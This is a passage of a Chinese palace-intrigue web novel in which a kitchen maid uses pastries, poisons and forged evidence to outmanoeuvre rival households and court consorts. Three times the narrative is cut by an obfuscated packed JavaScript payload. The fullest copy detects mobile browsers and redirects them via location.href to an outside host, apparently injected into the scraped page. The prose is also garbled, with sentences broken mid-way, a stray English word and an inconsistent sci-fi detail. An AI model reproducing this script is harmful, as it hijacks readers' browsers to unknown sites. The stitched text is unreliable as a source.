“这供词是假的。”她指向供词上的墨痕,“我父亲惯用狼毫笔,而这字是羊毫所写,且墨色均匀,分明是新写的。” 大房老爷脸色铁青:“你一个厨婢,懂什么笔墨?” “我不懂,”久榆摸出块绿豆糕,“但我懂点心。这块糕点里的糖霜,与供词上的浆糊是同一种——都是用槐花蜜调的。” 众人皆惊。赵州接过糕点,用银簪挑开糖霜,果然露出底下的浆糊痕迹:“看来有人怕秘典泄露,特意伪造了供词。” 老夫人此刻已被灌了黄连水,清醒过来,却仍有些语无伦次:“是丞相府...他们说只要烧了长宜斋,就保赵府平安...” 大房老爷踉跄后退:“母亲,你怎么能...” 申时三刻,膳房成了临时公堂。久榆站在灶台前,面前摆着老夫人房里搜出的所有香料,每一样都贴着她写的标签:“麝香——致滑胎”“乌头——可毒杀”“沉水香——掩煤油味”。 “老夫人用这些香料,害了多少人?”任瑶举起安胎药包,“我的孩子,差一点就...” 二房娘子趁机开口:“还有我房里的庶子,上次吃了她送的点心,险些没命!” 久榆适时呈上一本《香毒录》,封皮上是老夫人的字迹:“这是从紫檀柜里搜出的,里面记着如何用香料害人,如何用膳食掩盖。” 大房老爷颤抖着翻开书册,脸色越来越白。最后一页,赫然画着如何用巴豆粉制造“意外”——与吴娘子害二房庶子的手法一模一样。 “爹,”赵州上前,“念在祖母年事已高,就送她去慈云寺静养吧。” 老夫人瞪大双眼:“你...你竟敢...” “我敢。”赵州掏出嫡子玉佩,“因为从今日起,赵府的膳食权、香料权,都归久榆姑娘掌管。” 酉时初刻,久榆站在膳房门口,任瑶亲手为她戴上首席厨娘的银冠。冠上嵌着块碎玉——正是她父亲临终前攥着的那一块,如今与赵州的玉佩拼在一起,竟成了完整的宝相花。 “从今日起,赵府的膳食,由你说了算。”任瑶轻声说,“包括我的安胎点心,还有...”她顿了顿,“赵州的婚宴喜饼。” 久榆一愣,望向赵州,却见他正靠在廊柱上,手里转着本《长宜斋秘典》:“还愣着做什么?未来的赵府大娘子,该给我做份合婚点心了。” 众人哄笑,久榆却红了脸。她摸出袖中的糖霜,在案板上画了对并蒂莲——这是她新创的“合婚糖霜”,用蜂蜜与朱砂调制,寓意“甜甜蜜蜜,红红火火”。 深夜,久榆坐在灶台前,烛光映着秘典上的字迹:“宜男草三忌,忌光、忌燥、忌人语”。她摸出父亲的供词残页,背面竟写着母亲的字迹:“久榆,灶心藏火,可破万难”。 赵州推门进来,手里拎着坛梅子酒:“想什么呢?” “想我爹为什么甘愿顶罪。”久榆轻声说,“或许因为他知道,长宜斋的火种,不该断在他手里。” 赵州替她斟酒:“现在火种在你手里,打算怎么烧?” 久榆望向窗外的飞檐,月光如水,照亮膳房新挂的匾额“长宜膳房”。她轻笑,用糖霜在酒坛上画了把火:“先从赵府开始,让每一道膳食都干干净净,再让长宜斋的名号,从这深宅里杀出去。” 赵州举起酒坛:“好,我陪你。” 两人碰坛时,久榆听见远处传来更夫的梆子声:“天干物燥,小心火烛——” 她忽然轻笑,原来这深宅的更夫,也在替她传递暗号。 灶膛里的火重新燃起,映着她眼底的光。 这一次,她不再是暗处的棋手,而是明面上的掌局者。 用糖霜为刃,以膳食为旗 在这吃人的深宅里 杀出一条属于长宜斋的路 巳时三刻,久榆站在膳房中央,看着新换上的朱漆案板,案板边缘刻着她亲自设计的“膳房八则”:“食材必鲜,称量必准,苛责必拒,阴私必查,苛扣必惩,谎言行必报,尊卑必破,长宜必兴”。最后四字被刻成宝相花形状,花蕊处嵌着她父亲的碎玉。 “新规矩都记住了?”她环视一圈,目光扫过战战兢兢的厨婢们,“从今日起,各房膳食分开采买,谁再敢用陈年食材糊弄,就去刷一个月的泔水桶。” “姑娘,”新来的小厨婢怯生生开口,“二房娘子说,她要吃西域来的乳香蜜糕,可咱们没有乳香...” “乳香?”久榆轻笑,摸出块蜜渍梅子,“去告诉二房娘子,乳香性温,与她每日喝的滋阴汤相冲,若她想流鼻血,我倒可以送她半斤。” 午后,赵州倚在膳房窗台,手里转着本《东京梦华录》:“听说你封了二房的小厨房?” 久榆擦着新到的景德镇瓷盘:“封的不止小厨房——从今日起,赵府上下的膳食采买,都由我亲自掌管。”她忽然压低声音,“包括老夫人在慈云寺的素斋。” 赵州挑眉:“你还在查当年的纵火案?” “丞相府的沉水香、老夫人的《香毒录》,还有...”久榆摸出从紫檀柜里找到的火折,“这个火折上的焦痕,与我父亲火场遗物上的一模一样。” 正说着,任瑶的丫鬟翡翠匆匆跑来,递上个锦盒:“姑娘说,这是从老夫人陪嫁里翻出的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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吴娘子脸色铁青,却不得不跪下。久榆趁机将一块掺了巴豆粉的蜜渍塞进她手里:“这是给你的‘见面礼’,好好尝尝。” 深夜,久榆拿着令牌打开膳房的暗门。地道里弥漫着陈年霉味,她摸出袖中的蜜渍罐子,罐底的机关弹出个火折子——这是赵州特意为她改制的“多功能暗器”。 地道尽头是间密室,墙上挂着长宜斋的旧旗,地上堆着当年的账本。久榆翻开一本,见上面写着:“宜男草十斤,送赵府,元丰三年三月初三”,落款处是父亲的签名。 “原来如此。”她轻声说,终于明白父亲为何甘愿顶罪——赵府与长宜斋本是盟友,那场大火,是丞相府为了夺走秘典而设的局。 “久榆!”赵州的声音从地道口传来,“快走,有人来了!” 她迅速将账本塞进衣襟,转身时,却见吴娘子带着几个婆子举着火把冲进来:“抓住她!她偷了赵府的秘宝!” 久榆握紧火折子,忽然轻笑。她对着墙壁轻轻一按,暗格里掉出包“迷烟散”——这是她用厨房的香料配的,遇火即燃。 “你敢!”吴娘子惊呼。 火折子落下的瞬间,迷烟散腾起紫色烟雾。久榆趁机拽着赵州冲进地道,身后传来婆子们的咳嗽声与咒骂声。 黎明时分,久榆坐在膳房的灶台前,看着怀里的账本出神。赵州递来碗热粥,里面混着她最爱吃的蜜渍梅子:“没事吧?” “没事。”她摸出账本里夹着的纸条,上面是父亲的字迹:“久榆,若你看见这些,说明长宜斋的火种还在。去州桥畔的老槐树,那里有你母亲的陪嫁。” 赵州挑眉:“州桥?那是汴梁最繁华的地方。” 久榆点头,望向窗外渐亮的天空:“我打算在那里开家长宜斋分店,就用赵府的宜男草做招牌。” “好啊,”赵州轻笑,“我给你当账房先生,任瑶当老板娘,咱们把赵府的膳食权彻底夺过来。” 久榆笑了,用糖霜在粥碗上画了座桥:“那座桥,会是长宜斋走出深宅的第一步。而我们...”她望向赵州,眼里燃着光,“会让全汴梁都知道,长宜斋的点心,不仅能吃,还能杀人于无形。” 灶膛里的火渐渐旺了,映着两人交叠的影子。 5. 贡冰暗计 辰时初刻,久榆站在州桥老槐树下,望着树下露出的半块青石板。石板边缘刻着朵宝相花,与她银簪上的纹样严丝合缝。赵州握着铁锹蹲在旁边,劲装袖口挽起,露出小臂上新添的刀疤——那是昨夜地道突围时留下的。 “准备好了?”他抬头看她。 久榆点头,将银簪插入石板缝隙。地面传来沉闷的“咔嗒”声,老槐树根部裂开个洞口,里面隐约可见木箱的铜扣。她深吸一口气,摸出袖中的蜜渍罐子——这是她特制的“驱虫蜜”,混着艾草与硫磺的气味。 木箱打开的瞬间,久榆捂住嘴——里面装满了泛黄的账本、绣着宜男草的围裙,还有母亲的嫁妆清单,最底层是张泛黄的地契,上面写着:“州桥西街三号,长宜斋旧址”。 巳时三刻,久榆站在州桥西街三号门前,望着门上的“长宜斋”匾额。匾额虽已褪色,却仍能看出当年的气派。任瑶坐着软轿赶来,掀开轿帘时,腕间的鎏金镯子闪过冷光:“需要我做什么?” “三姑娘只需在开业那日,带几位贵眷来捧场。”久榆递上块“玫瑰茯苓酥”,“这是给您的安胎点心,里面加了从西域买来的乳香。” 任瑶挑眉:“乳香不是与滋阴汤相冲?” “那是骗二房的。”久榆轻笑,“乳香配茯苓,才是真正的安神妙方。” 午后,久榆正在整理旧铺的灶台,忽然听见门外传来争吵声。几个蒙面人抬着木箱闯进来,箱里装着腐烂的糯米:“这是你们铺子里的东西,吃死了人!” 她蹲下身,捏起一粒糯米,见米芯泛着黑褐色——这是用乌头汁泡过的毒米,与当年害任瑶的手法如出一辙。久榆擦了擦手,望向赵州:“公子,劳烦请吴娘子来一趟。” 赵州轻笑,摸出袖箭割断蒙面人的衣襟——里面竟穿着二房的家丁服饰。没过多久,吴娘子被暗卫押来,看见毒米的瞬间,脸色骤变:“这不关我的事!是二房娘子...” “我知道。”久榆打断她,“但你忘了,赵府上下的食材采买,都由我掌管。”她摸出本《食材进出账》,“昨日你领了十斤糯米,却只登记了五斤,剩下的...去哪儿了?” 吴娘子浑身发抖,久榆趁机将一块掺了哑药的蜜渍塞进她嘴里:“这是给你的教训,下次再敢偷换食材,就不是哑药这么简单了。” 酉时初刻,长宜斋重新开业。任瑶带着汴梁城的贵眷们准时到场,每人手中都拿着久榆特制的“宜男草蜜渍”——蜜渍包装上印着宝相花暗纹,既是广告,也是未来的情报暗号。 “这蜜渍酸甜适口,竟还有提神的功效。”一位三品夫人赞叹。 久榆福身:“夫人好眼光,这蜜渍里加了薄荷叶与朱砂粉,最适合午后犯困时食用。”她忽然提高声音,“不过有孕的夫人可不能吃,里面的朱砂...对胎儿不好。” 任瑶抚着肚子轻笑,贵眷们立刻心领神会——这是在警告二房娘子,她的那些阴私手段,长宜斋早已识破。 深夜,久榆坐在旧铺的灶台前,借着烛光整理母亲的围裙。围裙夹层里掉出张纸条,上面是母亲的字迹:“宜男草需用雪水养,秘方在冰窖第三层”。她想起赵府的冰窖,想起父亲火场中紧攥的宜男草雕花。 “在想什么?”赵州推门进来,手里拎着坛酒,“任瑶说,这是她从老夫人酒窖里偷的二十年陈酿。” 久榆接过酒坛,用糖霜在坛口画了个圈:“我在想,长宜斋的冰酪,该用赵府冰窖的雪水来做。” 赵州挑眉:“你想偷冰?” “不是偷。”久榆轻笑,“是让大房夫人亲自送过来。”她摸出白天贵眷们留下的点心渣,“这些人里,有三位是丞相府的眼线,我在她们的点心里加了能让人腹泻的巴豆粉,大房夫人为了平息事端,定会答应我的要求。” 子时三刻,久榆站在赵府冰窖前,大房夫人的贴身丫鬟递上钥匙:“夫人说,以后冰窖的雪水,您随意用。” 她点头,走进冰窖,指尖触到冰块上的霜花。冰窖第三层,果然藏着个木盒,里面装着宜男草的种苗,还有本用冰酪汁写的秘典——遇热即显字。 “久榆!”赵州的声音从冰窖口传来,“丞相府的人来了!” 她迅速将种苗塞进衣襟,转身时,看见丞相府的管家带着几个杀手冲进来。久榆握紧木盒,忽然想起母亲的话:“灶台虽小,却能烹煮天下。” 她抓起一把冰块,混着随身携带的蜜渍抛向杀手——冰块遇热炸开,蜜渍里的朱砂粉溅入杀手眼中,顿时一片惨叫。赵州趁机挥剑,护着她冲出冰窖。 黎明时分,久榆站在长宜斋门口,看着天边的朝霞。赵州替她理了理乱发,指尖触到她耳后的伤:“疼吗?” “不疼。”她摸出秘典,上面的字迹在晨光中渐渐清晰,“你看,这是父亲写的冰酪方,用宜男草汁与雪水混合,能做出世上最甜的冰酪。” 赵州轻笑:“那我们明天就做,让全汴梁的人都尝尝。” 久榆点头,望向州桥方向,晨光正照亮桥上的每一块青石板。她摸出糖霜,在门框上画了把火——这是新的暗号,意味着长宜斋的火种,已从深宅的暗巷,烧到了这繁华的州桥畔。 “明天,”她轻声说,“长宜斋的冰酪,会让丞相府的人知道,什么叫做真正的‘杀人于无形’。” 赵州揽住她的肩,两人的影子映在“长宜斋”匾额上,宛如两株并蒂的宜男草,在晨风中轻轻摇曳。 卯时初刻,久榆站在灶台前,看着铜盆里的宜男草汁与雪水交融。翡翠捧着琉璃盏站在一旁,盏底的“宜”字在晨光中若隐若现:“姑娘,州桥那边已按您的吩咐摆好了冰桶,可这冰酪...真能让丞相府的人上钩?” “自然。”久榆用银勺轻轻搅动,淡绿色的浆液渐渐凝固,“丞相府的大公子有个怪癖——爱吃冰酪却怕凉,所以每碗冰酪都要温着吃。”她忽然轻笑,“但温过的冰酪里,宜男草的毒性会加倍。” 巳时三刻,长宜斋门口排起长队。久榆特意让伙计们穿上绣着宝相花的围裙,每人腰间挂着个小陶罐,里面装着“试吃蜜渍”——这是她新创的营销手段,实则是为了观察食客中有无丞相府的眼线。 “久榆姑娘!” 州桥巡检带着几个衙役挤进来,身后跟着丞相府的大公子。此人面色苍白,却仍强作镇定:“本公子听说你这里有宜男草冰酪,特来尝尝。” 久榆福身,端出预先准备好的温冰酪。琉璃盏下垫着暖炉,宜男草的清香混着温热的水汽扑面而来。大公子尝了一口,皱眉:“怎么有股苦味?” “回公子,”久榆垂眸,“这是特调的‘清热冰酪’,加了黄连粉,最适合您这样体虚火旺的贵人。” 大公子脸色铁青,却不得不继续吃——他素日最爱在人前装“风雅食客”,此刻骑虎难下。 午后,久榆正在清点食材,赵州匆匆赶来,手里攥着张密报:“丞相府的人果然在冰酪里下了毒,却不知我们早就换了碗。” 久榆点头,摸出另一份冰酪——这才是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“可惜,”久榆轻笑,“他们没想到我会将计就计。”她摸出白天从大公子那里顺来的玉佩,“这玉佩里藏着丞相府的香料配方,正好用来改良我们的蜜渍。” 赵州揽住她的肩,望向窗外的州桥夜景:“下一步怎么走?” 久榆用糖霜在案板上画了座宫殿:“听说下个月宫里要办赏花宴,我打算让长宜斋的冰酪,成为贡品级点心。”她顿了顿,“而你...要帮我拿到入宫的路引。” 赵州挑眉:“怎么帮?” “用宜男草冰酪。”久榆轻笑,“宫里的娘娘们最爱美容养颜,而宜男草汁混着雪水敷面,比任何胭脂都管用。任瑶会把冰酪送给她的闺中密友,一步步打进后宫。” 灶膛里的火映着她的侧脸,赵州忽然想起第一次见她时,她蹲在赵府后厨擦灶台的模样。不过数月,她竟从任人欺凌的厨婢,变成了能搅动汴梁风云的楼主。 “久榆,”他轻声说,“你真的很厉害。” 她抬头看他,眼里映着跳动的火光:“因为我知道,在这深宅与市井之间,只有把膳食做成武器,才能活下去。” 窗外传来更夫“子时初刻”的梆子声,久榆摸出块蜜渍塞进他嘴里:“睡吧,明天还要去宫里‘送货’呢。” 赵州咬下梅子,酸甜中带着微微的辣味——原来她在蜜渍里加了辣椒末,这是他们的“清醒暗号”。 长宜斋的灯笼在夜色中摇曳,宝相花的纹样被风吹得明明灭灭,宛如她心中的火种,越燃越旺。 这一次,她要让长宜斋的冰酪,从州桥畔一路甜到皇宫里 6. 赏花迷局 卯时三刻,久榆将最后一罐宜男草冰酪封入雕花食盒,盒底夹层里藏着十二张细绢,每张绢上都用米汤写着不同官员的私产名录。翡翠抱着描金托盘进来,盘里摆着七支琉璃簪,簪头嵌着的月光石切割成宝相花形状——那是给各宫女官的“试用品”。 “任瑶的闺中密友里,数宁国府的三夫人最沉不住气。”久榆用银簪挑起冰酪,琥珀色的浆液里浮着细碎珍珠,“她昨日差人来问,敷了冰酪后脸上起的红点是不是‘排毒’。” 赵州倚在门框上,把玩着新得的鎏金腰牌——那是用丞相府私铸铜钱的证据,从大理寺卿手里换的五城兵马司通行令:“宁国府三夫人的兄长,是掌管宫门钥匙的禁军统领。”他忽然晃了晃腰牌,“巧了,这腰牌能直通神武门。” 久榆将琉璃簪依次插进妆匣,每支簪子的花蕊里都藏着极小的空心铜管:“今晚戌时,你扮成宁国府的车夫,随三夫人的轿子进宫。”她合上妆匣,铜锁扣响时惊飞了檐下的燕子,“食盒里第三层的冰酪,掺了能让人说梦话的忘忧草,足够让三夫人在贵妃榻上‘不小心’说出钥匙摆放的位置。” 赵州忽然伸手替她整理发带,指尖触到她后颈的旧疤——那是当年赵府二夫人用银簪划的:“若我被发现...” “不会。”久榆摸出块蜜渍塞进他嘴里,这次是花椒味的,“三夫人的婢女昨儿在长宜斋买了十斤桂花糖,现在整个宁国府的下人口鼻里都是甜腻味,闻不出你身上的刀油香。” 戌时正刻,三夫人的马车停在神武门前。赵州垂着眼帘,听着腰间腰牌与门环的碰撞声,掌心的汗混着花椒蜜渍的余味。门官举着灯笼照向食盒,光束掠过宜男草冰酪时,久榆特意调的淡紫色浆液在月光下泛着珍珠母贝的光泽。 “这是长宜斋新出的‘月光冻’。”三夫人掀起车帘,腕间的琉璃簪晃得门官眼花,“给贤妃娘娘敷脸用的,误了时辰仔细你的皮。” 赵州跟着抬食盒的小厮穿过甬道,留意到宫墙上的夜灯每隔七步便有个宝相花暗纹——这是久榆说的“火种标记”。贤妃的宫殿飘来阵阵脂粉香,他刚把食盒搁在廊下,便听见三夫人的惊呼声:“哎呀,我这记性,竟把宫门钥匙落在马车上了!” 机会来了。赵州转身时,袖口扫落了块蜜渍——花椒味的,这是给暗处的翡翠发信号。他摸到马车暗格里的鎏金钥匙,指尖忽然顿住:钥匙环上刻着的,竟是久榆后颈的疤形。 “找到了吗?”三夫人的声音带着不耐,殿内传来瓷器碎裂声,显然是冰酪起效了。赵州将钥匙原样放回,摸出袖中伪造的钥匙模具按在蜡块上,蜡油的温热混着远处更夫的梆子声,他听见自己心跳如鼓。 子时初刻,久榆蹲在贤妃宫殿的屋顶,看着赵州的身影如狸猫般掠过御花园。她摸出银簪,在瓦片上画了个燃烧的宝相花——这是“钥匙已铸”的暗号。忽然,殿内传来贤妃的尖叫:“脸上的红点怎么越来越大了!” “娘娘莫慌,”翡翠的声音里带着恰到好处的惊慌,“这是宜男草在拔毒,奴婢这就去请太医院...”话音未落,便听见瓷器摔碎声,显然是翡翠故意打翻了放着解药的青瓷碗。 久榆掀起瓦片,看见贤妃正抓着三夫人的手臂乱挠,两人脸上的红点连成一片,像极了盛开的宝相花。她摸出腰间的竹筒,将里面的萤火虫倒在屋檐下——这是给赵州的引路信号。萤火虫翅膀上的磷粉组成箭头,指向存放贡品级点心名录的内务府库房。 丑时三刻,内务府库房的铜锁发出轻响。赵州举着萤火虫竹筒,看着架上的黄绸名册,忽然听见身后传来衣料摩擦声。他旋身出刀,却见久榆戴着女官面具,指尖夹着支簪子:“是我。” “你怎么来了?”他皱眉,注意到她袖口沾着的胭脂——正是贤妃用的“醉芙蓉”。 “贤妃要召见长宜斋的楼主。”久榆晃了晃手里的懿旨,绢纸上还带着胭脂印,“翡翠替我顶着,我来拿这个。”她指向名册最底层的《贡点秘录》,封皮上的宝相花烫金与长宜斋的灯笼纹样分毫不差。 赵州翻开名册,忽然瞳孔骤缩:“赏花宴的贡品级点心...要由各宫娘娘亲手制作?要搞什么名堂?” 久榆轻笑,用簪子挑起名册里的夹页:“更妙的是,贤妃为了压过淑妃,打算让长宜斋‘暗中协助’她制作冰酪——这样既能彰显圣宠,又能把咱们捧成‘御用工坊’。”她指尖划过“贤妃”二字,簪头的月光石映出冷光,“但她不知道,这贡点名录里,每样点心都对应着一位皇子的封地税收。” 赵州忽然握住她的手腕,将她拽到阴影里。脚步声由远及近,是巡夜的侍卫。久榆屏住呼吸,闻见他身上混着的花椒与刀油味,忽然想起十四岁那年在赵府后厨,他也是这样护着她躲过二夫人的毒打。 侍卫的灯笼光扫过门缝,久榆感觉到赵州的呼吸拂过她发顶。直到脚步声消失,两人才分开,却发现彼此的掌心都攥着对方的衣角。 “先拿名册。”久榆别过红彤彤的小脸,将《贡点秘录》塞进怀里,“等赏花宴时,贤妃的冰酪里会掺着各封地的秘税清单——当然,是以可食用金箔的形式。” 赵州挑眉:“皇帝若是发现点心金箔上的字...” “便会以为是贤妃勾结外臣。”久榆摸出蜜渍咬了一口,这次是芥末味的,“而真正的税单,会随着冰酪渣被倒进御花园的太湖石下——那里埋着我们的‘信箱’。” 寅时初刻,久榆回到长宜斋时,正看见翡翠扶着贤妃的贴身女官出来。女官脚步虚浮,发间的琉璃簪歪向一边,显然是用了过量的忘忧草。 “娘娘说,赏花宴当天要亲自调制冰酪。”女官打着哈欠,“长宜斋需得提前备好...雪水、宜男草,还有...金箔。”她忽然晃了晃脑袋,“对了,娘娘还说,赵公子昨夜在神武门表现得不错。” 久榆与翡翠对视一眼,后者立刻扶着女官往角门走。灶膛里的火还亮着,赵州不知何时回来,正用匕首刻着新的钥匙模具。 “贤妃果然在监视你。”久榆将《贡点秘录》扔在案板上,“但她不知道,你昨夜拿的钥匙模具,其实是假的。” 赵州抬头,刀刃在火光下泛着冷光:“那她更不知道,我用真模具刻了把能开国库偏门的钥匙。”他忽然轻笑,“不过现在最该担心的,是淑妃——她若知道贤妃要抢赏花宴的风头,怕是要提前动手。” 久榆用糖霜在案板上重新画了座宫殿,这次在金銮殿旁多了个红点:“淑妃的端阳皇子,最近总说梦见‘会发光的冰酪’。”她往糖霜宫殿上撒了把椰丝,“你说,若是贤妃的冰酪里,忽然吃出皇子的胎发...会怎么样?” 赵州顿住手中的刀:“你从哪弄来的胎发?” “端阳周岁时,皇后赏的金锁里藏着半绺头发。”久榆摸出个小锦盒,里面果然躺着几缕金红色发丝,“皇后以为那是祥瑞,却不知,这东西能让淑妃的‘失子之痛’,变成刺向贤妃的刀。” 巳时三刻,赏花宴的琉璃灯次第亮起。久榆戴着内务府发的六品女官牌,站在贤妃身后,看着她将宜男草浆液倒入冰模。翡翠捧着金箔盘过来,指尖在盘沿敲了三下——这是“淑妃已就位”的信号。 “娘娘的手法真是巧。”久榆适时赞叹,贤妃腕间的琉璃簪在火光下映出宝相花纹,“这冰酪成型后,怕是连神仙都要夸一句。” 贤妃得意地笑了,却没看见久榆用袖口挡住的动作:三根胎发被混入金箔,随着浆液浇进刻着“多子多福”的冰模。远处传来钟磬声,皇帝携淑妃、皇后等众人落座,端阳皇子被抱在淑妃膝上,看见冰食台时眼睛一亮。 “贤妃这次准备了什么惊喜?”皇帝的目光落在贤妃身上,淑妃指尖的护甲轻轻划过端阳的衣襟——那里缝着能检测朱砂的金丝。 “回陛下,是‘麒麟送子冰酪’。”贤妃亲自揭开冰模,雪白的麒麟身上点缀着金箔,在阳光下格外耀眼。端阳皇子忽然指着冰酪惊呼:“头发!麒麟嘴里有头发!” 宴上顿时哗然。淑妃立刻起身,护甲勾住冰酪一角:“这金箔...竟用了皇子的胎发?贤妃娘娘,你这是何意?” 贤妃脸色骤变,下意识看向久榆。却见后者已跪下,袖中掉出个小瓶,瓶身上赫然印着“朱砂粉”三字:“娘娘饶命!是奴婢不该听任瑶的话,往冰酪里掺朱砂...还偷了皇子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15506322|170497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的胎发!” “任瑶?”皇帝皱眉,淑妃适时呈上昨夜从任瑶丫鬟那搜出的密信,“原来任瑶与贤妃早有勾结,意图用巫蛊之术诅咒皇子!” 贤妃想要辩解,却发现久榆不知何时退到了人群边缘。她看见长宜斋的楼主冲自己轻笑,腕间的银铃晃出细碎金光——那是与赵州腰间玉佩相同的纹样。 申时正刻,久榆站在御花园的太湖石旁,看着翡翠将冰酪渣埋进土里。远处传来贤妃宫殿的救火声,那是赵州趁乱放的火,浓烟里隐约可见“巫蛊”字样的条幅。 “东西都放好了?”她问。 翡翠点头,指尖沾着金箔碎屑:“每份冰酪渣下都埋了密信,分别指向不同官员的私产。”她忽然压低声音,“淑妃派来的人,看见胎发时都吓白了脸。” 久榆望向金銮殿方向,皇帝的身影在廊下闪过,手里攥着的正是《贡点秘录》。她摸出蜜渍咬了一口,这次是甜橙味的——这是赵州约定的“事成信号”。 “下一步呢?”翡翠问。 久榆看着漫天飘落的花瓣,宝相花的纹样与记忆重叠。她想起父亲被拖出实验室的那个雨夜,他塞给她的不是什么情感芯片,而是记载着百官秘辛的食单。原来从那时起,命运就给了她最锋利的武器——不是刀剑,而是人人都要入口的膳食。 “下一步?”她轻笑,从袖口摸出新制的琉璃簪,簪头的宝相花里藏着半片金箔,上面用密语写着“国库”二字,“等皇帝彻查贤妃私产时,会发现她的账册里多了笔神秘进项——来自长宜斋的‘贡点分成’。” 翡翠瞪大了眼:“可贤妃根本没拿过我们的分成!” “但账册会‘记得’。”久榆将簪子插进发间,“就像任瑶的密信会‘记得’她与贤妃勾结,丞相府的铜钱会‘记得’它们曾藏在长宜斋的冰窖里。”她望向渐暗的天色,第一盏宫灯亮起,宝相花纹被投在宫墙上,像一张铺开的巨网。 赵州的身影忽然出现在假山后,他腰间的玉佩换成了贤妃的鎏金步摇:“国库偏门的钥匙已经试过,三更天可入。”他看见久榆发间的簪子,挑眉,“这次又要让谁背锅?” 久榆没回答,反而从怀里掏出本小册子,封皮写着《御膳房食材采买名录》:“你猜,为什么贤妃的冰酪里会有朱砂?”她翻开内页,用朱砂笔圈出“宜男草供应商”——正是淑妃的母家铺子。 赵州忽然笑了,伸手替她拂去肩头的花瓣:“你根本不在乎谁当皇后,谁掌大权,你只是要让他们都离不开长宜斋。” “不。”久榆握住他的手,将那本记着所有秘密的食单塞进他掌心,“我要让长宜斋成为他们的软肋。当娘娘们离不开我的冰酪,大臣们离不开我的密信,皇帝离不开我的‘贡品’时...”她望向紫禁城的飞檐,暮色中,长宜斋的灯笼正在州桥畔亮起,“我们就成了这盘棋里,唯一的执棋人。” 子时初刻,久榆站在国库偏门前,看着赵州将钥匙插入锁孔。门轴转动的吱呀声里,她听见远处长宜斋方向传来喧哗——是新到的雪水到了,伙计们正在争论该先做哪种冰酪。 “等拿到漕运密档,就该做重阳糕了。”她轻声说,“用黑芝麻混着巴豆粉,送给那些卡着江南粮道的官员。” 赵州回头看她,月光在他脸上流淌,像十四岁那年赵府后厨的烛火。他忽然伸手,将她耳后散落的发丝别到耳后:“其实你不必什么都自己扛。” 久榆一怔,忽然想起父亲临终前的信:“膳食之道,在于平衡。甜与苦,冷与热,皆需有人共尝。”她望着他眼中的星光,忽然笑了,从袖中摸出两块蜜渍,一块塞进他嘴里,一块自己咬下——是久违的桂花味,甜得纯粹。 国库门缓缓打开,里面的金银财宝在月光下闪烁。但久榆知道,真正的财富不在此处,而在州桥畔那间小小的铺子里,在每一块藏着秘密的冰酪里,在每一个信任长宜斋的人心里。 宝相花在夜风中轻轻摇曳,宛如一个古老的预言。而她与赵州,正站在黎明前的黑暗里,手里攥着能点燃整个王朝的火种。这一次,他们不只是要在深宫里活下去,更是要让长宜斋的名字,成为比皇权更持久的存在 7. 宫中风云 月光如水,倾泻在长宜斋的雕花窗棂上。久榆坐在案前,手中的毛笔在宣纸上轻轻游走,写下“平衡”二字。赵州站在她身后,目光落在那两个字上,若有所思。 “你父亲留下的这句话,确实蕴含着大智慧。”赵州缓缓说道,“膳食之道如此,处世之道又何尝不是?甜苦冷热,皆需平衡,方能长久。” 久榆放下笔,转过身来,眼中闪烁着坚定的光芒:“所以,我们要让长宜斋成为这平衡的象征。在这深宫中,太多人被权力迷了眼,忘了人心的可贵。我们的冰酪,不仅仅是吃食,更是一种信念,一种让人们记住真诚与信任的方式。” 赵州点点头,从怀中掏出一张泛黄的图纸:“这是我近日琢磨的新方子。你看,用天山的雪水,配上南海的椰肉,再加上西域的葡萄乾,或许能调出一种别样的滋味。就叫它‘星河饮’如何?” 久榆接过图纸,细细端详,嘴角露出一丝笑意:“星河饮,好名字。就像我们的梦想,要像星河一样璀璨,照亮每一个角落。不过,这方子虽好,材料却难得。尤其是天山雪水,如何才能运到京城?” 赵州神秘地一笑:“这个你不必担心。我已托人联系了茶马古道上的商队,他们有办法将雪水密封在特制的铜罐中,十日之内便可抵达。只是……”他顿了顿,眼神中闪过一丝忧虑,“此事恐怕已被人盯上。近日我发现,总有一些陌生面孔在长宜斋附近徘徊,看似普通百姓,实则眼神犀利,不像善茬。” 久榆闻言,心中一紧。她知道,在这深宫中,任何一点风吹草动都可能引来杀身之祸。尤其是他们如今的所作所为,早已触动了某些人的利益。 “看来,我们得加快步伐了。”久榆沉声说道,“明日我便进宫面见皇后,将‘星河饮’献给她。一来可以借机试探宫中的风向,二来也能为长宜斋争取更多的支持。” 赵州有些担忧:“皇后那人,心思深沉,喜怒无常。你此去一定要小心,切莫露出破绽。” 久榆轻轻握住赵州的手,smiled:“放心吧,我自有分寸。再说了,我们还有那么多信任长宜斋的人,他们就是我们最坚实的后盾。” 夜色渐深,长宜斋里的灯火依旧明亮。两人相视一笑,继续埋头钻研新的方子,仿佛不知疲倦。窗外,宝相花的影子在墙上摇曳,宛如一幅神秘的画卷,诉说着即将到来的故事。 次日清晨,久榆换上一身素净的衣衫,带着精心准备的“星河饮”,在宫女的引领下走进了皇后的寝宫。 皇后正坐在梳妆台前,由宫女为她梳理着如云的秀发。见到久榆,她微微颔首,示意她上前。 “久闻长宜斋的冰酪别具一格,今日可算见到真人了。”皇后淡淡地说道,目光落在久榆手中的食盒上,“这便是你带来的新作?” 久榆恭敬地跪下,打开食盒,露出里面晶莹剔透的“星河饮”。只见那冰酪呈淡紫色,上面点缀着金黄的葡萄干和雪白的椰肉,在晨光的映照下,宛如一片璀璨的星河。 